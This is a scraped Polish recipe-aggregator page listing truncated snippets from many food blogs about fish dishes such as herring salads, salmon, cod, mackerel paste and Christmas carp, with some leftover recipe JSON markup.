ząbki czosnku 125 ml białego wytrawnego wina 250 ml śmietany 90 gr sera gorgonzola sól , pieprz * diabeł morski zwany tez jest żabnicą. Do tej potrawy można użyć też halibuta- ryby nie rozpadają się podczas gotowania. Wykonanie: Zagotować osoloną wodę, wrzucamy I gotujemy brokuły 2 min. Odcedzamy- schładzamy zimną wodą. Do garnka nalewamy oliwy z oliwek- na rozgrzany olej(...)wrzucamy rybę pokrojoną  w kostkę, dodajemy czosnek, sól I pieprz. Smażymy ok 5 min - mieszając . Dodajemy śmietanę I wino. Zmniejszamy gaz I gotujemy następne 5 min.  Kroimy ser w małą kostkę. Wrzucamy do sosu, mieszamy do całkowitego rozpuszczenia sera. Zciągamy z gazu, dodajemy brokuły I doprawiamy do smaku.  Sos z diabła morskiego podajemy z makaronem. Życzę smacznego

Smaki Edyty
Pstrąg po grecku 176

Raczej nie często się chyba zdarza by robić rybę po grecku z pstrąga. Ale pomyślałam sobie , że na Wigilię mogła bym małą porcję zrobić . Małą nie dla oszczędności :) - ale po prostu ostatnio porcje jakie przygotowuję są mini-mini bo nie damy rady zjeść , a szkoda by się coś zmarnowało. Zawsze mogę przecież dorobić jak sie skończy , a będziemy miały ochotę(...)jeszcze ( ryby - różne rodzaje zawsze mam w zamrażalniku). Czytaj więcej

Buniabaje w kuchni
Karp w ,, zapasowym " sosie greckim 197

zauważyłam, że nie wstawiłam - z lekkim opóźnieniem przepis do wykorzystania po wieczerzy Wigilijnej lub w I dzień Świąt. Powiedziała bym , że to taka ,, zapasowa" wersja ryby po grecku akurat na Wigilię ( lub po ). Zwyczajowo smażę karpia ( filet) nawieczerzę wigilijną . I z reguły połowa tego karpia mi zostaje. Nie specjalnie mamy ochotę w Święta na jedzenie odgrzewanej ryby. Znalazłam więc

Buniabaje w kuchni
Tymiankowy dorsz prawie po grecku 166

Staram się mieć w zamrażarce porcje różnych gatunków ryb. Jeśli chodzi o dorsza to z reguły tak się składa , że jak go kupuję to płat jest za duży dla nas na obiad na jeden raz . Dzielę go więc na pół i tak mrożę. Potem jedna część jest jako drugie danie a druga często zostaje wykorzystana do zrobienia ryby po grecku

Buniabaje w kuchni
Fish burger - kolejny fast food 114

Bułka i ryba ? Czy to smaczne rozwiązanie ? Dzisiaj kolejny pomysł na domowy fast food w wersji rybnej. Składniki dostępne w każdej lodówce. Ja wykorzystałam akurat smażone filety z mintaja w panierce. Do tego lekka sałatka i sosy. Dobra ciepła ciabatta. Polecam spróbować takiego domowego Fish Burgera .     Składniki : * ciabatta bądź inna bułka * 2-3 kawałki smażonego mintaja w panierce(...)mnie majonez wymieszany z jogurtem naturalnym i ketchupem. Kroimy cienko kapustę , dodajemy pomidora pokrojonego w kostkę oraz ogórki i cebulę. Taką sałatkę układamy na bułce z sosem. Dodajemy rybę. Można polać sosem. Ja już nie dawałam więcej sosu. Przykrywam bułką. Pyszna kanapka na ciepło. Ja miałam ciabattę i akurat wykorzystałam , ale nadają się także inne bułeczki.   Przypominam , że jeszcze

Magiczne Życie Marty
Nie żałuj sobie przypraw ! 131

reumatyczne  * utartą gałkę dodajemy do lodów, kremów, ciast * idealnie sprawdzi się do kompotu, pieczonych owoców i gotowanych warzyw  * niezastąpiona do grzanego wina, ponczu oraz mięsnych pasztetów i ryb WANILIA * jej laski są owocami storczykowatego pnącza * słodko-korzennego aromatu nabierają podczas obróbki polegającej na naprzemiennym poceniu i suszeniu * białawy nalot świadczy o najlepszej jakości przyprawy  * wanilię dodajemy(...)smak * ułatwia trawienie tłuszczu * lekki napar z ziarenek łagodzi zaburzenia żołądkowe  * wykorzystuje się ziele do marynat, potrawek z drobiu, cielęciny i sosów do mięs * przyprawa idealna do warzyw, ryb i zup jarzynowych * dodana w niewielkiej ilości do kompotów i deserów podnosi ich walory smakowe ANYŻ GWIAZDKOWY * przyprawą są suszone owoce wiecznie zielonego drzewa rosnącego w krajach tropikalnych  * maja

Magiczne Życie Marty
Prima Aprilis.. Grypa ma ochotę na psikusa. 148

smiecha). W państwach germańskojęzycznych to po prostu 1 kwietnia, a żart zrobiony tego dnia Aprilscherz lub np. Aprilskämt (Szwecja). We Francji prima apilis jest określany  jako „Dzień kwietniowej ryby” (Jour du poisson d’avril) a pierwszokwietniowe żarty nazywane są „kwietniowa ryba” (Poisson d’avril). Prima Aprilis zaczął być popularny już w późnym średniowieczu! A spekulacje na jego temat wykraczają

W kuchni Karmel-itki
Zapach świąt... STRUCLA MAKOWA. 285

mają kapustę z grochem, inni kutię, pierogi z makiem, z kapustą i grzybami. Ktoś znów woli zupę rybną od barszczu, gdzieś nie można się obejść bez makiełek, śwątecznego sernika, ryby w galarecie, po grecku. Wielu nie lubi karpia, więc jada inne ryby.  Reasumując, w każdym domu święta są inne, wyjątkowe.  W moim domu jest mieszanka regionów. Pomimo

W kuchni Karmel-itki
PYRY Z GZIKIEM. 206

miejscowi mówimy. Od XIX wieku właśnie ziemniaki zaczęły królować na naszych wielkopolskich stołach. To właśnie dania mączne i ziemniaczane stanowiły od zawsze podstawę tutejszej kuchni, mniej jadano mięsa czy ryby. Jedną z najbardziej popularnych potraw w Poznaniu i okolicach są właśnie PYRY Z GZIKIEM , czyli ziemniaki gotowane w mundurkach, podawane z gzikiem - twarogiem z cebulą, śmietaną i szczypiorkiem. Według mnie(...)najlepszy obiad na świecie! Prócz tego, popularnością odznaczały się także: zupa ŚLEPE RYBY (czy też RZADKIE PYRKI ), a więc zupa z ziemniaków, bądź też PLYNDZE - placki ziemniaczane. Zajadamy się też SZAGÓWKAMI (inaczej KOPYTKA czy też SZARE KLUSKI ). Są to kluseczki z mąki i ugotowanych ziemniaków, które swoją nazwę biorą od kształtu. Z ciasta robi się wałek, a ten krojony jest

W kuchni Karmel-itki
RESTAURACJA "ZIELONE SŁONIE - FUZJA SMAKÓW", POZNAŃ. 165

niczym, eleganckie i przytulne miejsce, wprawia w stan odprężenia i pozytywnie nastraja. Z pewnych względów zrezygnowałam z mięsnych dań i poprosiłam o wersję wegetariańską - dokładnie pescowegetarianizm - z możliwością jedzenia ryb i owoców morza (nie dociekajcie, dlaczego). Jako preludium podano amouse bouche , czyli mus z gęsi, natomiast mnie uraczono tatarem z łososia . Był odpowiednio zharmonizowany, przypadł mi do gustu, choć(...)Następnie na stół zawitała polędwica z dorsza na warzywnym spaghetti, z grzybowym duxelle (puree tak jakby) , chipsami z czosnku i rybnym veloute (sos na bazie bulionu rybnego i szampana). Ryba idealna, nie rozgotowana, aromatyczna,a przede wszystkim świeża. Spodobał mi się pomysł z warzywnym spaghetti. Wiosenny, kolorowy akcent, nadający chrupkości całemu daniu. Do tego grzybowa nutka i sos, jakże obłędny

W kuchni Karmel-itki
Łosoś pieczony pod pierzynką z pora 198

Dzisiaj przepis na pysznego, lekkiego, rozpływającego się w ustach łososia. Wszystkim fanom ryb (i nie tylko) na pewno zasmakuje. Dla mnie łosoś w tym wydaniu jest obłędny. ŁOSOŚ PIECZONY POD PIERZYNKĄ Z PORA (2 porcje) Składniki: - 200 gram filetu z łososia - biała część pora - 2 łyżki ricotty (lub innego serka) - szczypta gałki muszkatołowej - sól, pieprz - łyżeczka tymianku - łyżka soku(...)cytryny - oliwa z oliwek Rybę oczyścić, wysuszyć, posypać solą, pieprzem i tymiankiem oraz skropić sokiem z cytryny. Odstawić do lodówki na godzinę. Pora pokroić w piórka, usmażyć na oliwie z oliwek, po czym zalać 100 ml wody i dusić przez kilka minut. Doprawić solą i pieprzem. Gdy woda wyparuje a por będzie miękki dodać ricottę oraz gałkę muszkatołową. Dokładnie wymieszać

Zgrabne Gotowanie
Już niedługo święta ! 198

mogę kupić już teraz i planuję świąteczny stół. Wiadomo, że będzie kiszony barszcz , do niego uszka z grzybami . Zrobię też trochę pierogów z kapustą i grzybami . Trochę kapusty duszonej , ryba po grecku , różne śledzie , kluski z makiem .... Obowiązkowo kompot z suszu i ciasteczka cynamonowe a także strucla z makiem . Być może także piernik żydowski , ale to jeszcze niepewne. Zresztą - kilka(...)potraw musi być koniecznie a część staram się albo zmodyfikować żeby coś urozmaicić albo podać zupełnie coś innego niż zwykle. Oczywiście karp bo lubimy smażonego, ryba w galarecie .... Jeszcze mam czas dopracować menu, prawda ? ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Dorsz pod czerwoną pierzynką 197

paprykowego pesta?  polecam . Będziecie zaskoczeni smakiem. Obiad do zrobienia w 30 min, do tego bardzo zdrowy. Moja rada- Możecie upiec warzywa w tym samym czasie co rybę- na tej samej blaszcze- zaczęłam od warzyw, I dodałam po 10 min rybę. Zaczynamy Składniki: ok 1 kg dorsza ok 150 gr czerwonego pesto- przepis tutaj warzywa- mlode ziemniaki, marchew I brokuły

Smaki Edyty
Jarmark Dominikański 2013 – relacja 175

dalej do mojej relacji. Gdańska Starówka oprócz jarmarku przyciąga także licznymi restauracjami i kawiarniami. Chodząc od stoiska do stoiska można nieźle zgłodnieć, więc wybraliśmy się z A. do smażalni ryb – Oskar (przy gdańskim Żurawiu), w której się po prostu zakochałam! Już dawno nie jadłam tak dobrze usmażonej i świeżej rybki. Albo to ja byłam tak głodna, że wszystko mi smakowało(...)morskiego i wszystko kojarzy mi się ze statkiem). Od razu, gdy zobaczyłam to miejsce, wiedziałam, że muszę tam zahaczyć. Ceny były przystępne, a porcje duże (płaci się za wagę ryby; my wybraliśmy po mniejszym kawałku; w menu jest także wybór dodatków w postaci frytek, surówki itp.) . A na koniec muszę Wam wspomnieć o moim odkryciu roku- lodach azotowych ! Jako ciekawostkę

Fabryka pomysłów
Wrapy z wędzoną makrelą 164

zielonej pietruszki, bazylii i szczypiorku Sól i pieprz. Przygotowanie  Zioła drobno kroimy czosnek wyciskamy i dodajemy do Śmietany która przyprawiamy solą i pieprzem.  Pomidory kroimy na połówki. Rybę dobrze obieramy z skóry i ości jednocześnie dzieląc ja na mniejsze kawałki. Na foli plastikowej kładziemy tortille i smarujemy łyżka gęstej śmietany z ziołami. Na to układamy pasek z trochę(...)ryby sałaty pomidorków i cebulek. Dokładnie i ciasno zawijamy tortille i obwijamy folia spożywczej. Wkładamy do lodówki. I przystawka na przyjecie gotowa Smacznego

cookpl
Pomysły na śledzie na wigilię — sprawdzone przepisy 12

ciekawa propozycja na wigilijnym stole. Śledzie w oleju odsącz i pokrój na małe kawałki. Jabłko obierz i zetrzyj na tarce, a ananas z puszki pokrój na mniejsze kawałki. Połącz rybę z owocami, a następnie dodaj kukurydzę z puszki, śmietanę i majonez. Całość wymieszaj. Gotową sałatkę śledziową dopraw świeżo zmielonym pieprzem. Wierzch możesz udekorować posiekanymi orzechami włoskimi.  Kanapeczki ze śledziem

Kuchnia Bazylii
PULPETY RYBNE W ZALEWIE OCTOWO - POMIDOROWEJ + FILMIK 9

PRZYGOTOWANIE :  Rybę rozmrażamy, wyciskamy z płynów i mielimy w maszynce do mięsa łącznie z cebulą i namoczonym, wyciśniętym chlebem w mleku.   Dodajemy przyprawy, bułkę tartą i formujemy pulpety.  Następnie obtaczamy je w mące i smażymy na rozgrzanym oleju na złoto z jednej i drugiej strony.  Z podanych składników przygotowujemy zalewę.  Pulpety przekładamy do słoików

Kulinarne Fantazje Marioli
Sałatka śledziowa z burakami i ogórkami kiszonymi 89

uzupełniły wszystko w bezpieczny sposób. Do tego oczywiście ulubiony majonez, jogurt naturalny i zioła. U mnie natka pietruszki i koperek – dla mnie to zawsze świetny dodatek do ryb wszelakich, Wyszło super. Prosto, smacznie, trochę świątecznie. Jeżeli chodzi o śledzie, zrobiłam jeszcze dwie inne wersje przekąsek. Przepisy na nie wrzucę pewnie dopiero w przyszłym tygodniu. Jeden z nich jest wyjątkowy

Kardamonovy
10 najlepszych przepisów na śledzie na Boże Narodzenie 12

najlepszych przepisów na śledzie na Boże Narodzenie Nie wiem, jak Ty, ale ja nie wyobrażam sobie świąt Bożego Narodzenia bez śledzi. Te pyszne i zdrowe ryby pojawiają się na naszym stole w listopadzie i znikają z niego w okolicach końca lutego. Nie wiem czemu, ale zimą smakują nam najlepiej, przez resztę roku mogą dla mnie nie istnieć 😀. Robię

Kulinarne przygody Gatity
Śledzie z chili 14

Pyszny pomysł na śledzie na ostro – na Święta, Sylwestra lub inną okazję. Śledzie z chili to wyjątkowe połączenie tradycyjnej ryby o delikatnym smaku z ostrą, pikantną nutą papryczek chili. Idealnie nadają się jako przystawka na imprezy lub dod The post Śledzie z chili appeared first on Kulinarne Przeboje

Kulinarne Przeboje
Śniadanie pełne wrażeń – jajecznica, jakiej jeszcze nie próbowałeś! 19

dzień Czym jest anchois ? To maleńka, słona rybka, znana przede wszystkim z kuchni śródziemnomorskiej. W kuchni używa się jej głównie w formie filetów, często sprzedawanych w oliwie. Te niewielkie ryby mają wyrazisty smak, który w połączeniu z kremową konsystencją jajecznicy tworzy naprawdę ciekawe zestawienie. Anchois nadają jajecznicy przyjemny, umamiczny posmak – ten, którego poszukujemy w wykwintnych daniach. Jajecznica z anchois – niebanalne

codojedzenia
Obiad do odgrzania na drugi dzień 20

mielone pieczone Kotlety mielone gyros Zapiekanka z kaszy gryczanej pod beszamelem Skrzydełka pieczone Zupa gołąbkowa Kokosowe curry z kapusty Udka kurczaka przepis Muszle makaronowe z pieczarkami Paprykarz z wędzoną rybą i pęczakiem Pierogi z soczewicą Pierogi z kaszą gryczaną i serem Artykuł Obiad do odgrzania na drugi dzień pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Karp w galarecie 17

sztuka, która łączy tradycję z precyzją kulinarną. Aby osiągnąć doskonały smak i estetyczny wygląd tego wyjątkowego dania, niezbędny jest staranny wybór świeżych składników, odpowiednie przygotowanie bulionu oraz umiejętne zestawienie ryby z delikatną galaretką. W naszym przewodniku krok po kroku przedstawimy wszystkie etapy tego procesu, dzieląc się sprawdzonymi technikami

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka ryżowa z paluszkami krabowymi 31

ryżem jest całe mnóstwo i większość z nich cieszy się sporą popularnością. Z ryżem świetnie łączą się zarówno świeże, pieczone jak i marynowane warzywa, wędliny, drób, owocowe morza oraz ryby. Sałatka ryżowa do przygotowania, której chcę was zachęcić, to szybka sałatka z paluszkami krabowymi . Podstawą tejże sałatki jest dowolny ryż ugotowany na sypko , paluszki krabowe, kukurydza oraz ogórek kiszony

MeCooks
Przepis na domowy serek łososiowy 24

Szybka domowa pasta do chleba Gdy mam ochotę na coś innego do pieczywa stawiam na ryby. Dziś delikatna pasta rybna, a raczej serek łososiowy tylko z 3 składników, a może i z 2. My Polacy kochamy wszelkie pasty, widzę to po wejściach na moją stronę. Przepis na serek łososiowy jest bardzo łatwy, a jego wykonanie zajmuje kilka minut. Zastanawiasz się

Dieta moja pasja
Łosoś w miodowej glazurze z pomarańczami 28

Łosoś w aromatycznym sosie pomarańczowo-sojowym to wykwintne i jednocześnie proste w przygotowaniu danie, które zachwyci zarówno wyglądem, jak i smakiem. Delikatna ryba, podkreślona słodyczą miodu i świeżym aromatem pomarańczy, doskonale komponuje się z ziemniakami i surówką, tworząc pełnowartościowy posiłek. To idealna propozycja na elegancki obiad lub kolację, która z pewnością zrobi wrażenie na Twoich gościach. Zapraszam do spróbowania tego

Kulinarna Chwila
Sushi: Tradycja, Smak i Sztuka Japońskiej Kuchni 22

serca smakoszy na całym świecie. To nie tylko kulinarne doświadczenie, ale także sztuka, która łączy w sobie tradycję, estetykę i wyjątkowe smaki. Sushi, które pierwotnie powstało jako sposób konserwacji ryb, ewoluowało przez wieki, stając się symbolem japońskiej kultury kulinarnej. Dziś, sushi jest dostępne w różnych formach

Kulinarnyblog.pl - wiesz jak gotować!
Pasta z makrelą i jajkiem 18

małej czerwonej cebuli  1 ogórek kiszony, u mnie małosolny 1 łyżeczka majonezu lub serka śmietankowego  sól, pieprz    Sposób przygotowania:  1. W misce wymieszać rybę, ugotowane i posiekane jajka, serek lub majonez, posiekaną cebulę, ogórki kiszone.  2. Doprawić solą i pieprzem i całość zamieszać.  3. Do pasty można dostać zieleniny, np. zielonej cebulki

Kuchnia domowa Ani
Tarta z łososiem i cukinią 28

pieprz,\r","czosnek granulowany, s\u0142odka papryka,\r","odrobina oliwy z oliwej"],"name":"Tarta z \u0142ososiem i cukini\u0105","recipeCategory":"dania m\u0105czne, inne, na imprez\u0119, przek\u0105ski, ryby, warzywa","cookTime":"PT0H0M","prepTime":"PT0H0M","recipeInstructions":["Ciasto francuskie troch\u0119 rozwa\u0142kowa\u0107. Wy\u0142o\u017cy\u0107 w formie na tart\u0119 dociskaj\u0105c do dna i brzeg\u00f3w formy

Bardzo Gruby Smok
Domowe spring rolls na przekąskę 28

Lubicie lekkie warzywne przekąski? A łososia? Wszystko zawinięte w delikatny papier ryżowy i podane z pysznym sosikiem do maczania... mniam, ja uwielbiam. Oczywiście możecie składniki dowolnie miksować, zamiast ryby dać kurczaka lub zupełnie ją pominąć, warzywa również im bardziej kolorowe tym lepiej.... Pyszna przekąska którą możecie zabrać na piknik czy na babską imprezę... Polecam Zobacz przepis

Swojskie jedzonko
Eskalopki wieprzowe z sosem bazyliowym 39

plastry mięsa, które są zazwyczaj rozbijane młotkiem na płaskie kawałki i następnie smażone lub duszone. Można je przygotować z różnych rodzajów mięsa, takich jak wieprzowina, cielęcina, kurczak, indyk czy ryby. Inne bardziej popularne nazwy dania eskalopki to kotlety , schabowe, sznycle, plastry, saltimbocca. Eskalopki mogą być podawane z różnymi sosami lub dodatkami, takimi jak sos pieczeniowy, sos pomidorowy, grzybowy lub cytrynowy

Dorota Smakuje
Tradycyjny obiad – kotlet mielony, surówka z młodej kapusty i młode ziemniaki 35

pomidory . Bardzo lubię mielone z salsiccia . Innym przepisem z włoskim touch to kotlety mielone z bazylią i mozzarellą . Lubię też kotlety mielone z kurczaka . Często też przyrządzam mielone z ryby jak te z łososia czy dorsza. Zawsze staram się przyrządzić mielone za każdym razem inaczej, ale lubię też tradycyjne mielone. Cebula, czosnek i natka pietruszki to mój standardowy przepis

codojedzenia
Pasta z makreli z jajkami i ogórkiem 52

Pasta z makreli z jajkami i ogórkiem to moja ulubiona pasta z wykorzystaniem właśnie tej ryby. Doskonała na śniadanie lub kolację. 1 op. filetu z wędzonej makreli (lub wędzona makrela w całości) 2-3 jajka 2 ogórki kiszone 1-2 łyżki majonezu kieleckiego posiekana dymka/szczypiorek przyprawa suszone pomidory z czosnkiem niedźwiedzim sól, pieprz Jajka gotujemy na twardo, po obraniu kroimy

Smaki Na Talerzu
Smaczne sałatki na Komunię 35

rukolą i kokosem Sushi sałatka warstwowa Sałatka z truskawkami Klasyczna sałatka caprese Sałatka curry z kurczakiem Sałatka curry z kalafiorem Sałatka z tuńczykiem, szparagami i groszkiem cukrowym Sałatka z rybą wędzoną Sałatka ze szpinaku granatem i dressingiem imbirowym Sałatka z wędzonym kurczakiem ze szparagami i truskawkami Sałatka z feta Sałatka z fasoli i mango Cukinia po kaszubsku Sałatka hawajska Włoska

Dorota Smakuje
Makaron z łososiem i suszonymi pomidorami 24

cebula,\r","3 z\u0105bki czosnku,\r","250ml \u015bmietanki 30%,\r","pieprz,\r","odrobina oleju"],"name":"Makaron z \u0142ososiem i suszonymi pomidorami","recipeCategory":"makaron i ry\u017c, ryby, Uncategorized","cookTime":"PT0H0M","prepTime":"PT0H0M","recipeInstructions":["Cebul\u0119 i czosnek pokroi\u0107 drobno. Zeszkli\u0107 na patelni.\r","Z \u0142ososia zdj\u0105\u0107 sk\u00f3r\u0119. Wyj\u0105\u0107 ewentualne o\u015bci

Bardzo Gruby Smok
Carpaccio z łososia 25

Piękne różowe carpaccio z ryby. Takiego marynowanego łososia możesz również podać na pieczywie, dodawać do roladek z tortilli czy kolorowych zdrowych bowli. Składniki (3-4 porcje): 500 g filetu z łososia bez skóry i ości 1 duży ugotowany burak 1 łyżeczka ziaren kolendry 3 łyżki soli 3 łyżki cukru skórka otarta z ½ cytryny skórka otarta z ½ pomarańczy skórka otarta

Delicious Place
Jajka faszerowane wędzoną makrelą 30

kroku Przygotowanie jajek : Ostudzone i ugotowane na twardo jajka obierz i przekrój na pół wzdłuż. Delikatnie wyjmij żółtka, zachowując białka w całości. Przygotowanie farszu : Mięso wędzonej makreli wyjmij z ryby, starannie usuwając skórę i wszystkie ości. Następnie rozdrobnij mięso widelcem na drobne kawałki. W misce połącz rozdrobnioną makrelę z majonezem, kremowym serem, posiekanymi korniszonkami oraz szczypiorkiem. Dokładnie wymieszaj składniki

Moja Książka Kucharska
Zupa z pstrąga z mleczkiem kokosowym 35

rybnych, a wraz z mleczkiem kokosowym stanowi bazę do przygotowania gęstego rybnego curry. Dodałam do zupy warzywa ( marchewkę, ziemniaki i pora, można dać też paprykę, pieczarki, cukinię oraz inne ryby lub owoce morza). Zupa z pstrąga z mleczkiem kokosowym w 15 minut dla 2 osób: Do garnka wlewamy 500 ml wody, dodajemy 2 łyżki zielonej pasty curry, dodajemy startą marchewkę

Damsko-męskie spojrzenie na kuchnię
Śledzie po żydowsku 46

Śledzie po żydowsku z cebulą, koperkiem i czosnkiem to danie rybne , które zakładając, że lubicie śledzie, na pewno przypadnie wam do gustu. Te ryby są aromatyczne, intensywne w smaku i pięknie pachną zarówno czosnkiem jak i koperkiem. Przygotowanie śledzi po żydowsku zajmuje około 15 minut przy założeniu, iż używamy śledzi w oleju lub mamy już wymoczone w wodzie śledzie solone

MeCooks
Łosoś w sosie koperkowo – cytrynowym 34

Łosoś w sosie koperkowo - cytrynowym, czyli jak upiec pyszną i soczystą rybę. Propozycja na obiad na każdą okazję. Artykuł Łosoś w sosie koperkowo – cytrynowym pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Sushi kulki dla dzieci 36

innego po prostu. Najczęściej jest to ryż z sosem owocowym albo z jogurtem. Tym razem mój starszy syn wyraził zainteresowanie sushi, ale nie chciał ani nori ani tym bardziej ryby. Jego propozycją na nadzienie były parówki. Skoro nie mogłam użyć glonów pomyślałam o temari sushi czyli kulkach z nadzieniem formowanych za pomocą kawałka folii spożywczej. I muszę przyznać

Dorota Smakuje
Dorsz z warzywami i soczewicą 37

Pyszna ryba, z kolorowymi warzywami które uwielbiam. Prosty obiad lekki i smakuje naprawdę wyśmienicie. Polecam spróbujcie koniecznie... Zobacz przepis

Swojskie jedzonko
Przepis na tatar ze śledzia 27

Jednak, jeśli ktoś nadal ma obawy, to może zrobić tatar z łososia, który oczywiście jest na naszym kanale: Przepis na TATAR z łososia wędzonego i awokado -Tatar z ryby -Tatar z łososia na kolację lub wypróbować nowy przepis na tatar ze śledzia, a raczej tatar ze śledzi bo jeden śledź to będzie za mało, jeśli ma być to przystawka

Dieta Rozdzielna i Zdrowie
Sałatka śledziowa z żurawiną i orzechami 39

u015b\u0107 \u017curawiny suszonej,\r","gar\u015b\u0107 orzech\u00f3w w\u0142oskich,\r","\u0142y\u017cka oleju lub oliwy"],"name":"Sa\u0142atka \u015bledziowa z \u017curawin\u0105 i orzechami","recipeCategory":"ryby, sa\u0142atki","cookTime":"PT0H0M","prepTime":"PT0H5M","recipeInstructions":["\u015aledzie pokroi\u0107 w kostk\u0119.\r","Cebul\u0119 pokroi\u0107 w kostk\u0119.\r","Orzechy pokroi\u0107 drobno.\r","Wszystkie sk\u0142adniki wymiesza

Bardzo Gruby Smok
KLOPSY RYBNE Z DORSZA 30

kupując nie widziałam co jest w środku, bo paczka była szara, nieprzezroczysta, i tym sposobem kupiłam "kota w worku". No trudno, musiałam cos z tym faktem zrobić. Postanowiłam zmielić rybę, uświetnić ją warzywami i zrobić klopsy 😊  Pomysł trafiony, obiad w tej wersji był przepyszny! Składniki: 1 kg filetów z dorsza (ja miałam mrożone) 1 marchewka 1 pietruszka

Walijskie Pichcenie
Śledź po kaszubsku 32

jest w pomidorach, a właśnie w śmietanie. Śledź mancowy jest łowiony przy pomocy specjalnej sieci (sieć mancowa), która odławia najdorodniejsze sztuki, co bardzo wpływa na smak i jakość ryby. W oryginalnym przepisie śledzie zasalamy (usuwając głowę i wnętrzności) i marynujemy przez dwa tygodnie. Do tych śledzi idealnie pasują ziemniaki gotowane lub pieczone w mundurkach. Gorąco polecam, Arek

R'n'G Kitchen
Pulpeciki z łososia 50

Pulpeciki z łososia w sosie śmietanowym z musztardą to danie, które przypadnie do gustu miłośnikom ryb. Podstawą tego dania są filety z łososia , zmiksowane i połączone z jajkiem, kaszą manną i koperkiem. Po usmażeniu pulpeciki rybne gotowane są w pysznym sosie na bazie musztardy, śmietanki, koperku oraz soku z cytryny. Z czym podawać pulpeciki z łososia? Ja lubię proste dodatki

MeCooks
Kulki rybne w occie 34

łyżeczki soli Wykonanie Rozmrożone filety rybne odsączamy z nadmiaru wody, za pomocą ręcznika papierowego, a następnie kroimy na mniejsze kawałki. Kajzerkę moczymy w mleku. Cebulę obieramy i kroimy ćwiartki. Rybę, odsączoną z mleka bułkę i cebulę przepuszczamy razem przez maszynkę do mięsa. Do otrzymanej masy dodajemy jajko, szczyptę soli, pieprzu oraz ostrej papryki. Mieszamy do uzyskania jednolitej masy. Z masy

Alle Dobre!
Sałatka śledziowa z ziemniakami 37

warto je wymoczyć w mleku, żeby nie były za słone. Inne przepisy na śledzie na blogu Jeśli lubisz śledzie, to na moim blogu znajdziesz sporo przepisów z tymi pysznymi rybami w roli głównej: Marynowane śledzie z imbirem Świąteczne śledzie w 10 odsłonach Śledzie a la Bismarck Smażone śledzie Marynowany śledź na ostro z chili Szwedzkie śledzie marynowane - inlagd sill Śledzie

Kulinarne przygody Gatity
Śledzie z boczniaków 43

uwielbiam i z nimi dania również bardzo chętnie przygotowuję. Takie Śledzie z boczniaków to fajna alternatywa dla wegetarian czy wegan, ale bardzo polecam każdemu spróbować ich. Zapach i smak ryby w tym daniu uzyskujemy dzięki glonom wakame, ale jeśli wolicie możecie użyć nori czy innych. PRZEPIS ŚLEDZIE Z BOCZNIAKÓW Składniki: 3 duże cebule 250g boczniaków garść ok 0,5 szklanki

Dorota Smakuje
Dania z ryb na świąteczny stół - co oprócz karpia? 46

Poznaj nasze propozycje potraw rybnych na Święta Bożego Narodzenia. Jakie ryby oprócz tradycyjnego karpia? Zobacz przepis

Swojskie jedzonko
Faworki z karpia 41

Uwielbiam karpia, cały rok czekam właśnie na tą rybę. Kupuje zawsze więcej żeby zrobić ją na różne sposoby, jednym z moich ulubionych są właśnie faworki z karpia. To pyszne soczyste kąski z rybki i do tego nie mają ości, polecam jak jeszcze nie robiliście to spróbujcie koniecznie... Zobacz przepis

Swojskie jedzonko
Śledzie cytrynowe 37

siebie, że najzdrowszy jest wtedy, kiedy w miarę szybko się go zje. I tak przymierzałam się do zrobienia śledzi, i tak w sobotę gościłam amatora tych ryb (od niego zresztą dostałam wspomniany olej), więc wiadomym było jak skończy się ta cała historia. Śledzie cytrynowe polecają się w okolicach Świąt Bożego Narodzenia, bo to wtedy cytryny mają najwięcej smaku. To właśnie

Kardamonovy
Bajgle z łososiem i kremowym serkiem: Śniadanie w Stylu Nowojorskim 39

wędzonym łososiem. Kremowy serek dodaje gładkości i lekkości, tworząc doskonałą bazę dla pozostałych składników. Cebula i kapary wprowadzają pikantny akcent, a świeży koperek i sok z cytryny podkreślają smak ryby, dodając całości lekkości i świeżości Przepis na bajgle z łososiem i serkiem 4 bajgle (najlepiej świeże) 200g wędzonego łososia (plasterki) 200g kremowego serka (np. Philadelphia) 1 łyżka posiekanego szczypiorku

Moja Książka Kucharska
Pasta z morszczuka 34

Składniki : ok. 30 dag wędzonego z morszczuka 3 gotowane jajka majonez ewentualnie pieprz i kiełki rzodkiewki do posypania Przygotowanie : Rybę pozbawić ości i skóry, rozdrobnić Dodać pokrojone drobno jajka i majonez, jeśli trzeba pieprzu i wymieszać.               Pasta prosta i łatwa do wykonania, a przy tym smaczna

Proste Potrawy
Makaron ze szprotkami 48

makaron jest jednak królem tego dania ale sos przygotowany na bazie krojonych pomidorów z puszki, oliwek, papryki i wędzonych szprotek. Wędzone szprotki jak to zresztą przystało na wędzoną rybę mają intensywny smak oraz zapach, stąd też pewnie nie każdemu podpasują. Pomimo swojego rozmiaru te małe rybki zawierają sporo wartości odżywczych, warto zatem przekonać się do ich konsumpcji. Połączone z sosem

MeCooks
Pieczony łosoś z warzywami i kaszą jaglaną 39

Pieczony łosoś z warzywami i kaszą – wystarczy pięć składników i 20 minut, żeby wyczarować to pełnowartościowe, zdrowe danie. Pokochasz je nawet jeśli nie przepadasz za rybami. Warzywa w roli głównej Pieczony łosoś w tej sałatce jest, ale jakby go nie było W tym daniu rządzą upieczone, słodkie warzywa: batat, dynia i niesamowicie smaczna brukselka. Kasza jaglana i łosoś

Niedzielny kucharz
Gyros z grilla ze śledziem 39

się do grillowanych potraw. Tym razem wersja rybna greckiego gyrosa z łódeczkami ziemniaczanymi oraz grillowanym śledziem. A do tego obowiązkowo domowy pyszny sos tzatziki, który jeszcze bardziej podkreśli smak ryby i grillowanych ziemniaczków. Musicie spróbować tego zestawienia. Do przygotowania potrawy użyłam bardzo przeze mnie lubianych śledzi po Kołobrzesku od Kapitan Navi. Możecie je dodać bez grillowania, grillować na papierze

nietylkopasta.pl
Bulgur z łososiem, porem, brokułem i cukinią 37

można wlać na patelnię kilka łyżek wody. Następnie moc palnika zwiększamy do średniej, zgarniamy warzywa na bok patelni, a w puste miejsce dajemy łososia, smażymy dalej pod przykryciem, aż ryba „dojdzie” (kilka minut). Kaszę bulgur gotujemy na malutkim ogniu, wg wskazówek zamieszczonych na opakowaniu. Warzywa z łososiem podajemy razem z ugotowanym bulgurem. Posypujemy posiekanymi grubo orzechami laskowymi. Inspiracja

Smaki Na Talerzu
Burger z halloumi i śledziem 45

